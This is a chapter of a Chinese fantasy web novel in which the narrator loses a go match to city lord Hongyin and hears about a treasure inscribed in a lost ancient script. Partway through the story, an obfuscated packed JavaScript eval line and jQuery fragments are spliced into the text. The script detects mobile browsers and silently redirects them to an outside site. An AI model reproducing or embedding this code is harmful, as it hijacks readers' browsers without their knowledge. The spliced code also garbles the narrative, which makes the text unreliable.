我转念一想,这唯利是图的奸商居然只涨价一成,实在不像他的作风,倒像是担心存货积压会亏本。毕竟这玩意儿的使用价值几乎为零,除了若鱼,也没哪个动物爱吃。
这样也好,钱太多既主动将闪光稻散了出去,反倒省了我为混淆闪光稻来源而苦恼。等焉耆他们得手后,我们的行动也能更加隐蔽。
真是天助我也!
闲来无事,我便天天蹲守在附近,观察闪光稻每日大致的出量。这日我正冒雨躲在大树后,却遇上个熟人。
无悔——身为鲛人也过分好看了,浑身透着不食人间烟火的仙气。
“观察你好几天了,偷偷摸摸、鬼鬼祟祟,莫不是除了有自言自语的癔症外,还得了精神分裂症?”
“真是的,你们当大夫的天天不务正业,盯着我做什么?很闲吗?”
无悔轻叹一声,在我身旁坐下,“什么大夫啊……桃夭呢,根本就不懂医术,全是骗人的。”
我顿时一惊,噌地站起身,差点把纤瘦的无悔撞倒在地,“好啊!你们不仅是骗子,还是庸医!完了,我大师姐可怎么办?!”
无悔冲我翻了个白眼,撑着伞轻叹,“走吧,知道你身无分文了,带你去吃点好的。”
沿着朝月道缓步上山,无悔好心给我买了天翮族的传统小吃。虽然肚子不饿,但秉持“来都来了”的原则,我还是吃得津津有味。
“啊?原来你们是用澜歌树的叶子来治病的?”
我这才想起《鲛人略志》中有记载,鲛人族的圣树确有疗愈之效。当然,我对《鲛人略志》中的记载抱有一定疑虑,因我目前见到的三个鲛人,只在耳后缀着少许鳞片,并非全身覆鳞。
“这可是商业机密,说出去我们神医的招牌就砸了。”无悔狡黠一笑,“你可知道,光靠这一招,每年就能为天翮城带来不少收入——病人总要排队、要住宿、要吃饭吧?”
乖乖,天翮族人还真是会做生意。
谈笑间,无悔这位兼职庸医的奸商把我带到了目的地:聆音石府。
“别瞪我,你不也正想来么。”无悔瞥了眼早已趴在我头顶四处张望的尾巴,轻笑一声,“上次见你的宠物对月羽花茶格外痴迷,我好心送你一程。”
我强压心头不快,低声问道,“无悔,我想买点月羽花,你知道哪儿有卖吗?什么价钱?”
无悔白我一眼,熟门熟路地引我走进会客厅,“别说月羽木已经枯亡千年,就算还有干花留存,那也是用一朵少一朵的珍品——唯有历代月翮圣女才配享用。你还想买?不如早点洗洗睡吧。”
“……我的天!这么珍贵的东西,宏音前两次居然拿来给我的尾巴泡澡?真是暴殄天物!早知如此我该多喝几口的。”
无悔将我送到门口,挥了挥手,“宏音大人,人顺道送来了。我去给信女们看诊了。”
那位狡猾的冷面城主依旧身着象征身份的深蓝长袍,而他早已备好了月羽花茶——将尾巴钓成了翘嘴鱼。
这不,尾巴呲溜一声扑进茶碗中,舒舒服服瘫成一团。
“请问城主大人召我何事?”
“没什么,只是好奇你翻墙出城做了什么坏事。”
我一时语塞,瞪大眼睛跟在宏音身后,“你、你知道我偷偷出去了?”
“你大概还不清楚我的能力。”宏音悠然落座,轻抿茶汤,“与百目仙人的术法相似,我的仙力有极强的附着力——凡有雨滴落处,皆能感知动向。有雨声的地方,就有我的耳目。”
……我慌忙拍打身上的雨水,一股寒意窜上脊背。原以为仙界拓印云南印供百目监视行踪已够可怖,没想到宏音的能力更令人防不胜防。
我嘟囔道,“你这么厉害,怎么不请仙帝封你个‘百音仙人’?”
“……心情不好时,嘴巴倒挺坏。”
我恨铁不成钢地把尾巴从茶碗里捞出来,塞进青莲瓶,“找我到底什么事?我又不是大闲人。”
“闲来无事,邀你下盘棋,就当抵了茶钱。”
尾巴从瓶口挤出半个脑袋,仔细端详宏音,“照夜,让我跟他过几招。”
“你这个家伙,你干脆住这儿得了呗。”
尾巴不理会我的吐槽,径自跳到宏音面前,见对方亦在打量自己,笑道,“吃什么醋嘛,我只是觉得这人的棋路——有些熟悉。”
我清了清嗓子,看向好整以暇的宏音,心中飞速盘算起来。这个男人的真实意图始终笼罩在迷雾中,没有表露出来。
他想对抗仙界施压,最大限度维护天翮城的自治权,为此他需要一个只听命于自己的月翮圣女来彰显天翮族坚不可摧的信仰,用作向仙界施压的筹码。
可能够一手遮天的聆月使大人,又何必忧心圣女选拔大赛,他有无数种手段操控选拔,不是么。
所以他到底在想什么呢?如果说他作为这帮诈骗犯的主谋之一,却并不需要借用我的力量,那他意欲何为?
想到这里,我不禁抿了抿嘴——这位中年叔叔,该不会真是睹照夜而思棠梨吧。
不行,绝不能一直被宏音牵着鼻子走。这些日子我憋屈得太久,满肚子火气总要找个出口,非得讨回些好处才能平复心境。
“那个,宏音大人,”我故意眨眨眼,摆出天真模样,“听说天翮族藏着不得了的宝藏?要是我的尾巴赢了棋,能不能让我开开眼界?”
尾巴无语地贴上来,软绵绵的光球像在捏我的脸,“我真服了!哪有人像你这样把坏心思全写在脸上?那可是宝藏啊!”
“嗯,可以的,照夜。”
尾巴的“嘴巴”差点掉在桌子上,湿漉漉的光团仿佛比平时里还黏手,“不会吧?这样都行?”
得到宏音首肯,我满意点头,“那走吧,还是去玉轮湖边的赏景台下棋?”
“既然你喜欢,便依你。”宏音望着帘幕般的尘雨,幽幽道,“万物归尘,玉轮恒远,这世间最留不住的,便是昨日。”
我可没心思听宏音伤春悲秋,途中便悄悄向尾巴炫耀我的战术:真诚才是必杀技。尾巴连连晃悠,不服气地猜测所谓宝藏要么是假的,要么根本不值钱,故而宏音才会答应得如此爽快。
“会不会是他最近苦练棋艺,自觉必胜无疑?”
“拜托!你这个笨蛋,干嘛当着人家面说这个!”尾巴气得直拽我头发,“不过我绝不会输!虽然他很强,但我——绝不会输!”
我毫无顾忌地继续嘀咕,“嘿嘿,尾巴你要是赢了,我再讹他一壶月羽花茶给你泡澡!”
走在我身旁的宏音闻言,侧首望来,轻笑道,“好啊,照夜。”
尾巴打了个哆嗦,“呃……这男人是不是对你太好了?好得简直有些谄媚之态了呢……”
我迎着细雨冲宏音嫣然一笑,声音穿过滴滴答答的雨幕,“就当是——沾棠梨的光吧。”
观景台上,那只石雕小兔依旧安静地伏在棋盘边,仿佛一直在等候着对弈之人。
尾巴亲自上阵与宏音斗棋,我倒有些多余,成了闲人,只能趴在栏杆上望着玉轮湖出神。
雨中的玉轮湖更显幽静,无数小雨涡啪嗒啪嗒打在澄澈的湖面上,倒像是有人在拨弄琴弦一般,悠然奏响一曲单调却悠远的曲子。而那湖中央的高台之上,耸立着一个大圆盘。
那应该就是天翮族圣女用以感召月辉的月翮壁了。
据说壁上铭刻着古老失传的文字,是先祖留给后世的启示,或许也藏着飞升奔月的秘密。
要我说,《太愚行记》这本书有时真像在给孩童讲的故事。著书人总爱描绘三界最绚烂美好的景致,哪怕明知是“戏说”,也往往给予了温情的评述。在这位笔者眼中,一心想修仙奔月的天翮族浪漫而纯粹,即便那目标本身或许只是幻梦。
不知过了多久,久到天色全黑,雨也悄然停歇。我凑近去看尾巴与宏音的战况。
结果简直惊掉下巴——不对,是惊掉尾巴:尾巴零胜。
“你又输了,照夜。”一子定局,宏音面无表情地瞥我一眼,“你要知道,战胜过去的自己本就是极难之事。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549541|204291||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“……你等着!等我的尾巴好好修炼棋艺,再来挑战你!”
我莫名心慌,抓起尾巴就想溜。尾巴像是受了巨大打击,软绵绵耷拉在我指尖,连跳脚的力气都没了。
“照夜。”宏音挥退欲阻拦我的侍卫,缓步走近,“既然输了,便付茶钱。友情价,一万一杯。”
我惊得目瞪口呆,“你!你们这诈骗技术从哪儿学的?专逮着我一个人骗是吧!”
宏音不慌不忙道,“或者,你来告诉我——你从何处得知天翮族宝藏之事。”
我气鼓鼓瞪着宏音,他却依旧神色淡然,看不出一丝波澜。
待我再次回到宏音的石头府,汀汀又热情地将我请进那冷得刺骨的浴池中。我实在好奇为何非用这么凉的水沐浴,便问依旧没什么长进的汀汀可有什么讲究。汀汀牙齿打颤着回答我,也没什么特殊原因,圣女大人,总该有些常人没有的癖好,不然岂不成了普通人?
真叫人无语。
夜色渐深。
等候宏音时,我把尾巴捧在手心好声好气安慰了半天,他却一声不吭,只缩成一团,怎么劝都不行。
“气死我了!宏音定是请了高人特训,不然怎会把我的棋路摸得一清二楚!可恶!可恶!”
“好了好了,又不是什么大事,我看你都气得要抓头发了……呃,话说尾巴,你有头发吗?光秃秃的呢……”
“你才光秃秃!”尾巴气得浑身的光晕像是炸了毛一般,并示威一般扯着我的眼睫毛,虽然毫无威慑力。
宏音推门而入时,正见我和尾巴互相拉扯——他揪着我的头发,我也没落下风,将他扯成了长条。
“……平日便靠这个消遣么照夜?为何会与自己的仙力起了争执,倒是闻所未闻。”
我慌忙将尾巴打了个结塞进瓶子,看向走近的男人,“开门见山吧,省去试探的环节,大家都轻松。差不多该睡觉了。”
“你倒实诚,实诚得近乎……傻气。”
“是是是是。”我没好气地瞪向宏音,“所以呢?仙界费尽心思想要玉山南三城,是不是冲着天翮族的宝藏来的?”
“嗯,既是宝藏,谁不想要。”
见宏音神色认真,不似说笑,我飞快在脑中翻阅读过的种种杂记,试图寻得有关这宝藏的蛛丝马迹。
天翮族是个古老得近乎神秘的民族。他们世代信奉月亮,会选拔能感应月辉的女子奉为月翮圣女。他们的信条是“月辉之下,皆为族人”——只要你也信仰圣女,便能在沐月仪式中获得天翮族的身份。
当然,据我近日得知,如今想成为天翮族人其实简单得多,只需在此地投资一万利衡币,就能去办理入籍手续。
“所以宝藏究竟是什么,值得渊寂如此大费周章?”
宏音微微偏过头,神情略显疲惫,“不知道,照夜。”
“……你该不是在耍我吧,城主大人兼聆月使?”
宏音低垂眼帘,轻轻摇头,“我没有骗你,照夜。确切地说——至今无人参透宝藏的秘密,究竟是什么。”
夜深,雨幕未歇。
从高处望去,整个天翮城错落有致的灯火沿着翮山蜿蜒而上,直至山顶。光晕在雨中晕染开,虚实难辨。
玉轮湖畔,月翮壁静静矗立,暗淡无光,仿佛一块失去灵魂的巨石。岁月磨去了它凌厉的棱角,只剩温润的弧度——就像一个被时光磋磨掉所有锋芒的中年人。
天翮族的秘密就刻在这月翮壁上,人尽皆知。这里甚至无人看守,天气晴好时,常有孩童在高台上嬉戏。当然,胡乱涂画是绝对禁止的,但棠梨是个例外——她曾在这冷硬的石壁上留下自己的墨迹,一只小兔子,还有一只大王八。
“宝藏的线索就在这里,却始终无人能解。”宏音轻抚着斑驳的石刻,低声呢喃,“先祖的文字,我们已经遗忘了。再没有人能读懂这些古老的铭文了,就连历代圣女圣司……也束手无策。”
原来如此。因古文字断代失传,后人才无法破解天翮族宝藏的秘密。